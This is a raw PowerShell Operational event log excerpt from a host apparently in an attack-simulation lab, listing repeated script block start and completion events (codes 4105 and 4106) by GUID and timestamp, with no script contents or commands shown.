SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647209
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647208
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647207
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647215
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647213
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647211
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647225
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647223
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647221
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647219
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647217
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647235
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647234
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647233
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647231
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647229
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647227
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647245
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647243
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647241
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647240
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647239
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647238
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647237
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647255
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647254
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647253
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647251
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647249
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647247
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647266
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647265
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647263
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:11:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
